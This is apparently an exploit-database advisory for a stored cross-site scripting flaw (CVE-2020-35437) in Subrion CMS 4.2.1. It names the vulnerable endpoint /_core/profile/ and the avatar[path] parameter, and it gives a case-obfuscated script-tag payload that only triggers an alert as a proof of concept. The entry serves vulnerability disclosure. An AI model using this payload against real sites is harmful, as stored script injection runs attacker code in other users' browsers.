Subrion CMS version 4.2.1 suffers from a cross site scripting vulnerability. Original discovered of cross site scripting in this version is attributed to Ismail Tasdelen in July of 2018.
1253f50cff931b9d19f0285fa4985b32# Exploit Title: Subrion CMS 4.2.1 - 'avatar[path]' XSS
# Date: 2020-12-15
# Exploit Author: icekam
# Vendor Homepage: https://subrion.org/ <https://www.icekam.com/>
# Software Link: https://github.com/intelliants/subrion
# Version: Subrion CMS 4.2.1
# CVE : CVE-2020-35437
stored xss vulnerability in /_core/profile/.
Reproduce through the avatar[path] parameter in post /_core/profile/ url.
payload:"><sCrIpT>alert(1)</sCrIpT>
https://github.com/intelliants/subrion/issues/880